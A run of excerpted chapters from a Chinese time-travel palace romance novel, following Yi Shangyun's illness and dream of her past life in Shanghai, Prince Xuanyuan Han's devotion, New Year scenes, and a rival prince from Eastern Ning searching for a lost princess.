随即抬起头朝着林月轩看去,浮想翩翩着…… 林月轩寝殿内,衣上云虽然在轩辕翰的一番折腾后,终于退去了高热,安静了下来。 然她依旧昏迷着,这种昏迷并不是因为这场莫名突发的高热引起的,而是易君浩所说的与上次在轩辕翰大婚之日在秦王府类似失魂的昏迷。 寝殿里,轩辕翰正坐在榻边,用一双充满男子气概的骨节分明的大手紧紧握着衣上云的纤纤细手,满腹心疼的一字一顿道“本王求你,一定要醒过来,本王不许你再睡那么久……” 而衣上云似是听到了这句语重心长的话,眼皮子下的眼珠微微滚动了两下,接着却又一动不动…… 昏迷中,衣上云的梦里: 21世纪的上海,满城飞絮的季节。 一间别致幽静的咖啡屋,像是一座深居都市里的秘密花园,门口花草暗涌,若是不仔细找还真有些找不到入口。 咖啡屋里,深棕色的木质桌椅,帅气的调酒师,还有吧台边文艺的年轻驻唱歌手。 墙上密密麻麻的心愿帖和照片墙尤为引人注目。是来这里的一个个年轻人对自己美好未来的期许,对爱人的互诉衷肠,以及暗恋者的小小心思,更有自己对自己的自言自语,一张张或悲或喜却满是真实的面孔…… 一张张心愿贴就犹如夜空里闪亮的星辰,成为这 贴在墙壁上的星语心愿,向来来往往的人们诉说着人间众多悲欢离合的故事,以及许多起起伏伏的人生。 女店主几年前和她一起亲手在屋外的院子里种下的一棵桂花树,于今也已经飘出幽幽的缕缕暗香来。 一个细雨绵绵的午后,衣上云依旧如同往昔,习惯了独自坐在咖啡屋内的一个不起眼的角落。一如既往地点了不加糖的苦涩咖啡,手里捧着一本医药书籍在看。 当咖啡屋里的背景音乐换成陈奕迅的《好久不见》时,一个帅气的驻场歌手登场将其深情演绎娓娓道来。 气氛虽有些伤感,但她却很钟情于此,她的所有多愁善感其实也只不过因了一人而已。 听着听着,她不禁放下了手里的书,俯身单手支起下巴,望向了窗外的那棵桂花树,看着细雨落下,然后打在郁郁葱葱间的簇簇金黄色小花上。 这时,走进来一对热恋中的年轻男女,男孩的大手将女孩的小手紧紧握在掌心,女孩脸上洋溢着甜蜜而又满足的幸福笑容。 俩个年轻的恋人进来后,径直走向她身旁的位置坐下来。 在她无意间回神抬头的时候,男孩阳光的笑容朝她微微点头问好,她看到忽然怔住,随即也回以淡淡一笑。 服务生一上来,女孩便兴奋地抢先点起了餐。男孩揩了揩她的鼻子,继而一脸宠溺的含笑凝视着那只属于他的女孩。 …… 不知为什么,看着看着,衣上云方才还挂在脸上的淡淡笑容,却忽然间鼻子一酸,眼眶里噙满了泪水。 她连忙低下头去,生怕有人发现她此时红红的眼眶。 她想起,曾经,因为魏明轩的存在,她也信誓旦旦地以为自己会是这个世界上最幸福的女孩; 她想起,曾经,因为魏明轩的存在,她也是同样如此地被宠溺,被他放在心尖上疼着爱着。 她想起,曾经,因为魏明轩的存在,她也可以和最爱的人牵手一起花前月下,一起骑着单车逛便小城的大街小巷,驻足在无人的街头兴奋的大声呐喊; 她想起,曾经,因为魏明轩的存在,她可以什么都不用操心,只要不吵不闹跟在他的身后永远做他的影子; 她想起,曾经,因为魏明轩的存在,也只有他存在的时候,她才做过了所有热恋中的男女都会做的所有事情,虽小却每件都无比甜蜜的事情。 她永远不会忘记,魏明轩消失的那天,大雨滂沱的街头,她独自寻遍所有他们曾一起走过的街,驻足过的角落,直到最后实在无力地瘫倒在大雨之中…… 后来,在教室里,望着他一直都空着的座位,不许任何人去碰,她的心亦随之被彻底掏空。 她每日都将自己一个人关在房间大声地哭泣,她不 明 第九十三章:爱一人,不自知 “你是谁?你是谁!你是谁……” 衣上云梦魇中极度恐慌的呓语声,让身旁的轩辕翰又一次手足无措起来。 他一边用手轻抚着她的额头,一边柔声在她耳畔轻唤道“别怕,有本王在,没有人能伤到你。” 这时,衣上云竟真的停止了梦中的呓语,然眼角却流下两行泪来,轩辕翰颇为激动地说“你听到了,对吗?你一定听到了本王所说的一切,是不是?” 说完,他连忙从身上掏出那条‘云’字丝帕来,深情地对她说“你看,这是本王第一次遇见你的时候,你替本王疗伤所留下的,本王到现在还一直留着它。” 说着,便将丝帕伸过去温柔地擦拭掉她留在眼角的泪痕。 许是患得患失的太久,好不容易发生了些什么,又怕眼前这个让自己用整个生命去疼惜的人儿真的就此再也醒不过来。他急道“本王求你,一定要醒过来,本王真的很害怕,很害怕,本王不能再经历一次那般的恐惧……” 不知为什么,他突然忍不住跟她讲起了埋藏在自己心底十多年,却是这辈子他永远都不愿回忆起的一件事来: 本王很小的时候,有一次随母妃外出前往行宫,路上遇到一帮凶神恶煞的黑衣蒙面劫匪如狼似虎地冲了过来。 母妃见敌众我寡,以为他们只是贪财,便和气地命人将出宫随身携带的所有金银和首饰全都拱手相让,希望劫匪能放本王母子一条生路。 谁料那些劫匪似乎并不像是为了金银而来,其中带头劫匪挑衅本王道“轩辕翰,看你细胳膊嫩腿的,怕是个姑娘吧!”随即众劫匪均一哄而笑起来。 本王一怒之下,拿起弓箭便朝那正笑的最开心的劫匪一箭射去,当众倒地。劫匪被激怒,竟大举向本王袭来。 就在所有随行侍卫寡不敌众,纷纷在本王母子面前倒下,眼见本王母子危在旦夕之时,出现了一位身怀有孕且即将临盆的夫人,她毫不犹豫地命她随身所带的所有侍卫全力抗击掩护本王母子离开。 不料逃亡途中,本王与母妃被劫匪打散开来。本王独自一人落在了一个身后是万丈深渊的悬崖边上。 而就在劫匪发现了本王,即将追来之时,年幼的本王惊慌失措极了。 忽然,那夫人再次出现在本王面前,将本王迅速拉起至一片茂盛的草丛中躲了起来。 黑衣蒙面劫匪追至后见四周早已没了踪影,便欲退回去。 就在这时,本王忽然发现其中一个劫匪似曾相识,一着急竟大声疾呼了一句“站住!” 那夫人听到一把捂了本王的嘴,就在此时,劫匪闻声即刻回头举刀朝草丛中寻来。 生死攸关之际,那夫人按着本王的肩膀问本王“你真的是轩辕翰?” 本王回答她“是,本王正是。” 那夫人接着又郑重地对本王说“以后,一定要守护好西秦。” 说完,夫人淡淡地朝本王笑了笑,便只身勇敢地走了出去。 很快,她便被逼到悬崖边上无路可退。 那帮猖狂至极的歹人,竟连一个即将临盆的妇人都不放过,其中竟有人向她露出邪恶的淫笑来。 就在本王正要起身出去阻止的时候,那妇人看了本王最后一眼便转身,一抬脚就落下了身后的万丈深渊,本王惊恐地看着眼前这一切…… 劫匪见那悬崖如此之高,落下去必死无疑,这才死心作罢退了回去。 年幼的本王趴在悬崖边上泣不成声,后来被母妃和侍卫寻来,本王亲自带侍卫在崖底找寻了多日也没有找到那夫人的尸骨。 自此,本王自责伤心极了。当年,如果不是因为本王一时冲动不够沉稳喊出了声,那夫人便不会无端送命,她一定会平安生下她腹中可爱的孩儿…… 所以,本王从此才会变得沉默寡言,冰冷无情,如此便永远不会被敌人看透本王的心意…… 而当日那夫人就同那夜山谷中的你一模一样,善良、勇敢、无畏。 你们与本王都不过只是萍水相逢,那夫人却用她们母子俩人的性命换取了本王的生命。 而你,确是本王将剑架在你脖子上,你仍毫不犹豫地对本王施以援手,没有使本王命丧黄泉。 对那夫人和她腹中未出生的孩儿,这是本王一辈子都无法弥补和释怀的心结,但本王不想对你也…… 本王谨记夫人遗言,拼命守护西秦。但现在,本王还想多守护一个…… 说着说着,轩辕翰看向昏迷中的衣上云,声音有些哽咽,仰起头来稍作缓和。 再次低头下来的时候,衣上云紧紧闭着的双眼竟又流起泪来,然只不过须臾间又开始了呓语“你是谁?你是谁!你是谁……” 忽然,她猛地一下从噩梦中惊醒,睁开眼睛看到眼前一个有着精致面孔和尊贵装束的男子正坐在她的榻边,垂首一脸忧心,眼眶还有些泛红的凝视着她,他的大手正紧紧攥着自己的小手。 “秦王殿下”无意间,她抽回了自己的手,按在榻上挣扎着欲想起身来,却虚弱的几乎动弹不得。 “别动,你刚刚醒来,再好好躺会儿。”轩辕翰说着,便将她又按了下去。 衣上云眼睛拼命地转动着,疑惑地问“这里是……?” 轩辕翰见她总算是醒了,也终于舒了口气,回道“这里是秦王府,本王的寝殿,林月轩。” “什么?!”刚躺下去的衣上云听闻大惊,又欲想起身来。却 第九十四章:沐雪听寒 不敢去期望,怕更多的是失望,却还是忍不住始终在期望; 不敢离的太近,怕反而会渐行渐远,却不想今夜会距离如此之近,唇齿纠缠; 担心得不到,得到了又怕失去,而如今这到底算是得到了还是失去了…… 这种患得患失的纠结,是存在于轩辕翰心里一直以来深深的恐惧。而如今,却还是一一都发生了。 折腾了大半夜,使得整个秦王府上下鸡犬不宁。此刻,衣上云终于退了烧,也醒了过来,并没有出现易君浩预估的最糟糕的那种长时间昏迷。 安顿好衣上云,轩辕翰也总算松了口气。却似从来都没有如此疲惫过,竟第一次有气无力地拖着原本只有一脸英气而此刻却满是黯然的面容默默地进到了承华殿。 刚坐下,程良捧着一碗浓浓的热姜汤走进来关切道“殿下,快将这碗浓姜汤服下吧,驱驱寒气,暖暖身子。” 轩辕翰抬起头来,也不言语,只看着程良手中尚还冒着缕缕热气的姜汤,方才回神。 顿觉自己如同置身于寒冰的紧裹之间,身体的温热正在被其一寸寸吞噬。 于是,他缓缓伸出手去有些无力地接过汤碗,姜汤入腹,方觉到体内注入了一股暖流。 程良从未见主子有过如此疲劳之态,心想着定是今夜悲喜交集,确实劳了神。 所幸,最终的结果倒是让人欣慰。 一转念,他忽然想,既然主子已经跟那丫头有了肌肤之亲,想必主子心里也该为她有所打算了,便忍不住含笑问道“殿下如今预备如何安置衣姑娘呢?” 轩辕翰埋着头,听到程良这话,心里一怔,稍一迟疑,沉声道“今夜所发生的一切,以后都不许再提了!” 程良不解,疑惑地忙问道“难道衣姑娘她又……” 话刚开口,轩辕翰急急打断他“她醒后将那些事都忘记了……” 说完,他放在案边的一只大而有力的手紧紧握了起来。 程良看着主子在极力隐忍着的脸,又看看他握紧的拳,心中百感交集。半晌后,蹙眉疑惑道“难道是这场突如其来的高热所致?” 轩辕翰冷厉的眼神,紧紧皱起的两道剑眉,面无表情地盯视着面前的桌案,不再说话。 没有人知道,其实话说到这里,他已经再也说不下去了。 程良看着他,一缕悲伤油然而生,真是天意弄人…… “噼里啪啦” 这时,殿外一阵烟花爆竹声四处响起,响声震耳欲聋。夜空中,鹅毛大雪,漫天飞舞。 除夕过去,新年伊始! 陆天骄独自倚靠在窗前,抬头望着夜空中犹如繁星点点的灿烂烟花和纷纷起舞的满天飞雪,含情脉脉地喃喃自语道“翰哥哥,新年快乐!” 衣上云屈膝坐在 榻上,双臂将其紧紧抱着,下巴抵在膝盖上泪眼朦胧地暗自思量着,不言也不语。 纵使心有千千结,自是欢情应难忘,只叹云本非今人,只得相逢不相识。 这一夜注定无眠,一个人坐了许久,也想了许多。 关于21世纪,关于这穿越后的西秦国,关于魏明轩,关于轩辕翰,关于那个从天而降的老道儿;关于今夜梦中魏明轩留下的话,关于老道儿留下的话,还关于今夜的那场激吻…… 所有的一切乱如麻,似乎越想就越乱,越是没有头绪,越是让自己几近崩溃的边缘。 忽然,一股寒风将寝殿的一扇窗户吹了开来,大雪纷飞飘然而至。 她闻声这才回过神来,微微抬起下巴朝着望了过去。随即便急急起身来走到窗前,惊讶地道“竟是下雪了。” 就这样站着出神地仰望窗外的漫天飞雪,却似是意犹未尽她还想伸出手去触摸它,然而殿外走廊的深度却完全将她远远地挡在了里面。 索性,她迅速关好窗户,走过去更衣,遮起面纱,披上红底白梅斗篷,兜起风帽,急忙从林月轩走了出去。 不过须臾,她便来到殿前的假山鱼池边,竟微微闭起双眼仰面朝着夜空沐雪听寒起来,任凭那一片片飞雪玉花轻柔地洒落在她的面庞,感受她内心的一切。 唯愿这纯洁的皑皑白雪能够重置她的灵魂、她的思想、她的每一根微妙的神经。 如果可以,最好能将她带至第三个时空。 她再也不想做这个叫‘衣上云’的人,无论是21世纪的美女ceo衣上云,还是西秦国的废柴丑女衣上云,她都不想做。 她想重新开始,谁都不认识,也谁都不爱,谁都不放在心上。如此,便可以自由自在,心中不会如此牵绊。 …… 就在她彻底放空之时,程良忽然从回廊上经过,远远的便看到衣上云只身一人在这冰天雪地里沐雪。便一脸不悦地上前问道“衣姑娘,你的身子刚恢复了一些,怎么能在这冰天雪地里沐雪听寒呢?” 衣上云忽被惊扰,稍一回神后含笑朝程良说道“程将军,是你啊。我…睡不着,所以出来走走。” 正说着,突然打了个喷嚏“阿嚏!”她急急侧身用手掩住,又吸了吸鼻子。 程良见了,心里似是有所顾忌,但还是忍不住斜着眼一脸埋怨地说道“衣姑娘,为了你这一身的病,我家殿下这接连几日里可是吃尽了苦头,你还是多保重自己才是,若再有个什么,那还不知殿下他又会……” 说着说着,程良停了下来,许是因了轩辕翰之前的郑重交待。 衣上云听了半句话,自是有些茫然,但也无意深 第九十五章:这辈子,谁还敢娶 新年初一的早上,天还没亮。 林月轩寝殿里,衣上云忽然被一阵噼里啪啦的烟花爆竹声惊醒。 昨夜听了程良一番唠叨后,她便乖乖进入寝殿。躺在舒适的床榻上却辗转反侧、夜不能寐、满腹心事。 后来又觉得自己的双腿无端地发热,折腾到最后终究还是不知不觉地睡了过去。 此时,已然没了睡意,忽然想起灵儿婆孙俩,她便急急起身来整理梳妆。 推开殿门的时候,漫天飞雪早已停息,眼前到处一片银装素裹,地上落了一层厚厚的皑皑白雪。 爆竹声过后,碎红一地,灿若云锦,满地瑞气,喜气洋洋。 殿外一阵清新的空气迎面扑来,她看着眼前令人甚是惬意的景象,不禁呆了,口中喃喃道“瑞雪兆丰年,春风迎新岁。寒冷的冬天终于过去了,春天要来了…” 这时,走过来俩个打扫庭园的奴才,恭敬地朝她行礼问安“衣姑娘,新年好!” 闻声,她方才急急回神,亦是含笑着回应俩人道“新年好啊!对了,请问你们知道灵儿婆孙俩是否还住在原来的地方?” 其中一个稍瘦点的奴才答道“回姑娘话,那对婆孙还住在原来的地方,这可怜的孩子,爹娘到现在还没回来。” 说完,便摇了摇头一边叹息着,一边去清理院里的积雪。 衣上云听了,心中有些失落,抿了抿嘴,便向着后院里疾步奔去。 “云姐姐” 刚一迈进院子的拱门,小灵儿一眼便认出了她,高兴地朝她蹦蹦跳跳地扑了过来,用那稚嫩的小胳膊一把紧紧地抱住了她的腿。 那饱含童真稚嫩的声音,柔软的小身体,瞬间将衣上云的心融化。 她拉起灵儿的一双小手,缓缓蹲下身去,看着她的眼睛。不知为何,自己眼泪竟一下子充满了眼眶,温柔地问道“灵儿,你还好吗?有没有听奶奶的话?” 灵儿睁着一双水汪汪的大眼睛认真地看着她,用力地点头“灵儿一直都很听奶奶的话,奶奶说,只要灵儿听话,灵儿的爹和娘便会很快回来。灵儿好想娘,好想爹啊,灵儿都已经记不得有多久没见到爹和娘了。” 说着,灵儿忽然松开衣上云的手,在她面前转了个圈,说“云姐姐,你看,灵儿是不是长大了许多,不知道等灵儿的爹和娘回来会不会认不出灵儿了?” 这话一出,衣上云眼中本就噙满的眼泪瞬间夺眶而出。一把将灵儿紧紧地揽入怀中,心疼地说道“不会的,不会的,灵儿再怎么变,在爹娘的心里,永远都是他们的心头肉。” “云姐姐,不要哭,奶奶说大过年的不能哭,这样不吉利。可是,昨夜灵儿半夜里醒来的时候,却偷偷看到奶奶自己在哭”灵儿一边伸出小 手帮她抹着眼角的泪水,一边说道。 衣上云听了吸了吸鼻子,又用手背抹了把眼睛,这才对灵儿说“奶奶那是高兴,一定是灵儿很听话,奶奶感到很欣慰。灵儿带云姐姐去看看奶奶吧,云姐姐也想灵儿的奶奶了,好吗?” 灵儿笑着点头答应,牵起衣上云的手便朝屋内走去,却在转身时悄悄向拱门外疑惑地望了一眼。 …… “衣姑娘” “衣姑娘” 原来张嬷嬷一直在秦王府里陪伴着灵儿奶奶,见到衣上云进来,俩个老人异口同声地起身惊道。 “张嬷嬷,灵儿奶奶,新年好啊!”衣上云一进门来,便欣喜地问候道。 然张嬷嬷此时太过惊讶,幽幽地说道“衣姑娘,你终于醒了,哎吆,昨儿个夜里,真是急死人了。殿下将你带回王府的时候,你这发热都烧的糊涂了,一点儿意识都没有,太医和老奴折腾了大半夜不见一点起色。对了,这后来殿下是怎么照顾你的,病的如此重,竟然这么快便可以起身来了,看这样子,是不是已经没有大碍了呢?” “云儿已经没事了,多谢张嬷嬷的照料和关心。”衣上云笑着说。 张嬷嬷听了,神秘地一笑,接着说“哎呦,姑娘要谢的人可不是我。这最担心着急的人可是我们殿下啊,老奴在王府这么多年,可从没见过我家殿下对谁如此关心急切的。那急的恨不得躺在那榻上的人是他自个儿,老奴看着他那焦急的样子都心疼,平日里那么冷漠沉稳的一个人,竟也会有那种表情。唉……” 张嬷嬷说着佯装叹了口气,偷偷瞄了一眼衣上云的眼睛,衣上云尴尬地低下头来躲开。 半晌后,张嬷嬷忽起身来,说道“行了,你们聊吧,老奴该去盯着那帮奴才煮饺饵了,今日大年初一,早膳的时间比往日里早了些。” 衣上云这才回神急道“天还没亮,路不好走,让云儿送张嬷嬷出去吧。” “行了,没事儿,老奴都在这王府里一辈子了,就算闭着眼睛也照样哪儿都到的了,不必姑娘费心了。灵儿,走,和张嬷嬷一起去吃饺饵去”说着,赵嬷嬷便含笑迈着尚还算矫健的步子牵着灵儿走了出去。 衣上云这才问一旁的灵儿奶奶,道“婆婆,在王府里一切可还都习惯?” 灵儿奶奶激动地握着她的手,没想到会在新年第一天能见到恩人,眼里竟闪烁着些许泪花,道“恩人姑娘,真的是托你的福,我们婆孙 第九十六章:如若撒谎,加倍惩罚 转眼间,天色已经大亮,衣上云准备着去跟轩辕翰说一声便告辞回衣府去。 张嬷嬷,灵儿奶奶,小灵儿一起将她送至院子的拱门口时,灵儿探出她的小脑袋来又朝外望着…… “我们的小灵儿在看什么呢?”衣上云看见,含笑弯腰蹲下去揩了揩灵儿冻的红红的鼻尖,极为亲昵地问道。 灵儿却神秘地朝着她勾了勾小手指,示意她靠近,衣上云随即拉起她的小手冲她笑了笑,便顺势将精灵般的耳朵向其靠了过去。 灵儿这才附了上去贴着她的耳朵,压低声音说道“云姐姐,方才灵儿看见秦王殿下在外面。云姐姐方才进来的时候,他一直跟在云姐姐身后,看着云姐姐。不知现在还在不在了?” 衣上云听了大惊,心中略一犹豫,随即立马站起身来,走到拱门外看了看。可除了这满园冬色,却什么都没看到。 半晌后,她疑惑着回过头来,一转念对着灵儿笑着说道“灵儿乖,再过十多日,姐姐来这里与你做伴,好不好?” 灵儿惊喜道“云姐姐说的是真的吗?再过十多日,灵儿便可以每日都能看到云姐姐了?” 衣上云摸着她红扑扑的小脸蛋,笑着点头。 灵儿瞬时回头欣喜又有些神气地朝奶奶乐道“奶奶可听到了?云儿姐姐马上也要来这里陪灵儿了,灵儿觉得好幸福,好期待啊!” 灵儿奶奶和张嬷嬷似是也极为期待地露着满脸和蔼与舒心的笑容。 说完,衣上云便笑着向众人告别,继而迈步朝向林月轩回去,一边走一边朝四周里环顾着,好似在寻找着什么…… 西秦皇宫里,梅汐媛亦难得的早起梳妆,整理仪容。 之后又陪同太后与皇后用过早膳,现在正准备告辞离宫启程回秦王府。 看到梅汐媛起身要走,一道用完早膳的太子轩辕昊急急向皇后撒娇道“母后,昨夜宫中家宴,儿臣还未来得及向秦皇叔讨个新年红包,他便急着逃走。今日,儿臣想随秦皇婶亲自到秦王府去讨回来,不知母后可否应允?” 皇后朝其慈爱地宠溺道“真是个贪得无厌的家伙,你秦皇婶昨夜不是已经给过你双份的了吗,还嫌不够?” 轩辕翰不以为然,自辩道“母后此言差矣,这怎么能说是儿臣贪婪?新年派发红包是我西秦国自古以来的风俗旧礼,晚辈拜年,长辈以红包给予对晚辈来年一整年里的好运及祝福,这其中寄予的美好祝愿又岂能代替?又有谁会嫌弃多呢?” 皇后睹其利喙赡辞,只得摇摇头,略一沉思,缓缓对一旁的梅汐媛略显抱歉地说道“那太子就有劳秦王妃费心了!” 正当梅汐媛含笑准备开口说话之际,轩辕昊又瞄了一眼端坐其身旁沉默不语的轩辕玥,继 续开口道“母后,还有皇姐呢” 轩辕玥听闻为此一怔,猛地抬起头看向轩辕昊,轩辕昊朝其挤眉弄眼不知道在向其暗示什么,尔后她又将目光落在皇后身上,似乎心中也是有所期待着。 皇后面露难色,略一迟疑,道“你皇姐都已经到了出嫁的年纪了,她就免了吧。” 轩辕昊闻之又急急辩道“母后此言更无道理,皇姐虽将要出嫁,但尚还未嫁。也正因如此,今年这最后一封新年红包对她才更有意义啊。” 皇后略一沉思,觉得轩辕昊所说也似乎不无道理。如果说这新年红包真的能集满人间祝福,带给人好运。那不久将远嫁东宁国的轩辕玥就比谁都更为需要了。 正当皇后沉思之际,梅汐媛终于开口乐道“皇嫂,就让太子和公主俩个做伴一起都去吧,如此,秦王府也多添一份新年里的热闹喜庆。” 于是,皇后便应允叮嘱道“既然秦王妃不嫌你们吵闹叨扰,那你们便随秦王妃一道去吧,只是在宫外万不可惹事生非,可记住了?” 听到皇后答应,姐弟俩人相视一笑,同时起身行礼乐道“谢母后成全,儿臣一定谨遵母后教诲,绝不随意滋事。” 说完,便同梅汐媛一道向皇后告别出了宫去,一路向东,朝着秦王府飞奔而去。 皇后看着一双欢欢喜喜的儿女离去的背影,心中不免又生出一缕无奈的惆怅,随之摇了摇头,发出一声长叹道“夕阳无限好,只是近黄昏。” …… 秦王府林月轩里,衣上云正坐在榻边皱着眉头一脸狐疑地低着头,将两手置于双膝之上一边端详着,一边暗自纳闷。 口中喃喃细语道“早起醒来至今,仿佛这双腿好似真的再没了之前的酸痛无力感。难道薛掌柜所遇到的真的是个高深莫测的世外高人,竟有比三少还要高超的医药之术。” 正在这时,轩辕翰一袭黑衣劲装,墨发全束,双手负后着走了进来。 一进门,便看到她一副心不在焉出神的样子,便故意站在门口低沉地哼了一声。 衣上云闻声,这才匆匆回神看了过去,随即站起身来欠身行礼道“秦王殿下” 轩辕翰似是本能地想要伸手将她扶起,却又刹那间似在顾忌什么,终究还是没能伸出手去,只一如往常地侧身盯视着前方,冷冷一句“起来吧” 也许,只有他这样的姿态和距离,她才会同以前一般觉得自然些,对他也不那么排斥和尴尬。 反正,她已将昨夜那些不管该不该发生都已经发生了的事尽忘的一干二净了。 轩辕翰:“你的腿…” 衣上云:“殿下…” &nbs 第九十七章:下一世,你还我 “殿下,出来了,快看看我们要找的可是这个遮着纯白面纱,跟在秦王身后的女子?” 秦王府门前一个不起眼的街角,俩个遮着蝶形银白面具、墨发全束、身姿挺拔的男子,正悄悄隐在一边低声说话。 此人正是迫不及待的连夜从西秦东南部,快马加鞭赶至城东秦王府的梅志煊和他的贴身侍卫,为了寻找疑似失踪多年的东宁国嫡公主而来。 梅志煊远远的便一眼认出了她,她的眉眼和气质是他即使见一眼,便永远不会忘记的。 况且,自从他怀疑到衣上云身上的那刻起,每日里他做的最多的事便是将她与自己记忆中的嫡皇后反反复复做对比,然越是比较,便越感觉俩人完全恍若一人。 此时,一向内敛沉稳的他,心里不禁起了一丝涟漪,似是有些激动地说道“没错,本皇子心中所怀疑的人…正是她。” 就在俩人说话间,只见衣上云一走出来,便被轩辕翰小心翼翼地扶上了气派不凡的秦王府特制马车。 梅志煊看了略显犹豫了一下,问道“是否有打听到她到底是什么人,为何与这西秦皇族关系如此亲密?上次是跟着西秦公主,说是她的贴身医女。那今日,又怎会与这战神秦王如此这般亲近,看起来似乎很让这位秦王上心,一点儿都不像是个奴颜婢膝的区区医女之身,倒像是……” 梅志煊欲言又止,心中升起一丝怀疑,但他实在不希望事实会真如自己所怀疑的这般。否则,怕是日后的一切都要充满变数了…… 侍卫惶恐,急道“殿下恕罪,西秦秦王府守卫森严,府内奴才的嘴巴更是严谨,密不透风,我们使出了浑身解数也未打探到其中一二,想必这也是公主为何至今还没有搜集到对我东宁有价值的情报的原因吧。看来,公主在秦王府内也是步步艰辛,这个秦王确实名不虚传。” 忽见轩辕翰的马车开始缓缓行驶了起来,梅志煊急道“小心跟上。” 于是,俩人便远远地尾随其后。 当马车行驶到城中百草堂门口的时候,忽然,一个身着一袭妖娆红装的俊美妖艳男子墨发半束,单手负后着大步冲了出来背对着秦王府的马车只身挡在了道路中央,拦住了马车的去路。 车夫一惊,急急勒马停住。 半晌后,男子方才缓缓转身过来,脸色却是极为不悦着。 见马车突然被逼停,一旁骑着马的程良忙转眼朝着前方望去,惊声道“易三少!” 马车内,衣上云昨日一整夜里都未能好梦,如今却早已困倦难耐地倚靠在车厢一边熟睡了过去。 而一如往常闭目养神端坐于马车內的轩辕翰,亦是觉察到了什么异常,此时正伸出手来掀开车帘,问一旁马背上的程良,道 “发生何时?” 程良神色有些异样,随即靠到马车边上来,低声回道“殿下,易三少挡住了前方去路。” 轩辕翰顿时皱起眉头,看了一眼身旁正在恬睡着的美人儿。便缓缓起身来撩起袍角一步跨下马车。 “轩辕翰,丫头呢?你把他昨夜究竟怎么了?为何她昨夜没有回到衣府?”一见轩辕翰下车来,易君浩便厉声质问道。 原来,昨夜轩辕翰将昏迷中的衣上云从北郊山脚下带走后,易君浩又见到衣上云颈上的吻痕,实在放心不下,便差薛掌柜立刻前往衣府去查探衣上云是否已平安回到衣府中。 然今日一大早他刚迈进百草堂的大门,薛掌柜竟出乎他意料地禀告说衣上云至今都尚未进衣府大门。 这会儿,易君浩正准备着去大闹秦王府呢,没想到轩辕翰竟亲自送上门来了。 轩辕翰缓缓朝着易君浩身边过来,逼近到其身旁与其反方向并肩而立,双手负后,一双深邃的眸子直视着前方,继而漫不经心地在他耳边低吟道“易三少,你究竟要本王提醒你多少次?本王说了,衣上云此生只能是本王一人的,你…想都别想。况且,昨夜拜三少所赐……你也都看到了,又何必自取其辱呢?” 易君浩一听这满是挑衅的话,又想起昨夜本是自己打算与衣上云故作浪漫与亲密,给轩辕翰一个警示,没想最后竟为他人做了嫁衣裳。 想到这里,易君浩即刻怒发冲冠,紧紧咬着牙,一双平日里如十里春风般迷人的桃花眼,此刻却似能放出剑来。 他怒喝道“轩辕翰,你不要逼本谷主动手,你以为本谷主真不敢对你出手吗?若不是这里是闹市,本谷主定将你打的满地找牙,你信不信?本谷主可不管你是西秦秦王,还是战神秦王?只要是欺负丫头的人,本谷主决不轻饶。” 说完,两人便四目相对,周围充斥着一股杀气。 这时,衣上云被俩人的争吵声惊醒,看见马车不知何时竟已停了下来,而身旁的轩辕翰也早已不知所踪,便急忙下了马车来。 “三少!”一出马车,她便看到正在与轩辕翰针锋相对着的易君浩,惊喜的朝其奔跑过去。 一过去便伸手拉起易君浩的胳膊,挑眉着惊喜地说道“三少,你怎么会在这儿呢?” 易君浩一看到他的丫头,便立刻收起了方才满是愤怒的表情,却又瞪着她,似是有些责备地说道“你看看这是哪儿?” 衣上云这才急急转眼向四周扫了去,一眼便看到百草堂那引人注目的招牌,这才嘟着嘴道“ 第九十八章:神秘的守护者 “这又是谁?” 街角,梅志煊看到眼前所发生的这一切,问旁边的侍卫道。 侍卫看着眼前这个如战败了的斗鸡般垂丧着脸的易君浩,回道“这个人叫易君浩,人称易三少。表面上看是一个药材商人,其名下有百草堂和百草谷两大产业,都是西秦国业内的头号招牌。然实际上真正的身份,殿下一定想不到?” 梅志煊颇感兴趣地说“哦?是什么来头?” 侍卫上前两步,贴近其身边耳语,梅志煊听闻大惊道“哦?!如此说来,这南安国也按捺不住了?看来,这灵空大陆很快便会有一场血雨腥风的大战了。” 忽然,梅志煊又似意味深长地对身旁的侍卫说道“不过,看刚才西秦秦王和这南安太子,这俩人对那丫头争风吃醋的样子,难不成这西秦的秦王和南安的太子同时都看上了那个丫头?而那丫头若真是我东宁国失踪多年的嫡公主的话,那……” 此刻,似乎有一个阴谋正在从梅志煊的心底悄悄升起。 虽然他努力克制着不让自己这么想,告诉自己利用谁,都不能利用嫡母后留在这世上的唯一血脉,却还是忍不住这巨大的诱惑,生出了这个念头来。 只是,不到万不得已,他定不会以她来试险。 或许,只有赢得整个天下,做天下唯一的主人,才是一个心里有着权利欲望的男人最大的成功吧,而其他一切都只不过是过眼烟云而已。 然旁边的侍卫听了,却突然心生疑虑地说道“殿下,要想统一这灵空大陆,只怕这西秦是最难对付的一个?” “你是在忌惮这灵空战神,西秦秦王轩辕翰么?”梅志煊言语里有些轻蔑。 “这倒不是,属下怕的是另外一件事。不知殿下有没有听说过一个关于西秦皇族的传闻?”侍卫的言语里显得极为神秘。 “西秦皇族,什么传闻?”梅志煊颇感兴趣道。 侍卫说道“天下皆传说,西秦皇族的每一代帝王都有个神秘的守护者,他们世世代代以单脉相传,具有天下最神奇珍贵的血统,誓死守护西秦天子;传闻还说,只要其守护者有后人存在,西秦国便永生,不死不灭;更有人说,得此后人者得天下……” 这时,梅志煊开口道“这个本皇子也听说过。据说他们本是追随西秦先祖开疆辟土最忠诚的一族人,世世代代皆誓死守护西秦天子。却在18年前因西秦国的一场内乱惨遭全族灭顶之灾,仅留下一个15岁的孤女。听说出落得美若仙人,西秦皇帝对其尤为怜爱,便欲将其纳入后宫为妃,却不料在入宫的途中离奇失踪。” 说到这里,梅志煊忽作停顿,略一沉思,接着悠悠道“不是都说那孤女坠落山崖,死无全尸了吗?那还有什么好 忌惮的,都这么多年过去了,依然渺无音讯。你看看现在的西秦国,如果没有了轩辕翰,还剩下什么?不过,即使有轩辕翰,我们也不必再担心了,那一天很快就会到了。” 梅志煊一副胸有成竹的样子说着。 “殿下神武,我东宁国国运昌盛。相信有朝一日,殿下定能拿下西秦,到时候国君必定会对殿下刮目相看的。”这时,侍卫奉承道。 “可无论如何,眼下最重要的事,先把嫡公主找回来才是”梅志煊说着,深吸了口气,望着前方的马车,露出一脸的悠长来。 转眼间,彰显西秦秦王府尊贵身份的气派马车便已驶到了衣府附近的集市上。 沿途所到之处,行人见了无不纷纷靠边驻足仰望着,在中间避让出一条宽阔大道。 马车里,衣上云的心一直惊魂未定着,而此时眼看着衣府就在眼前了,她的内心更是忐忑不安起来。 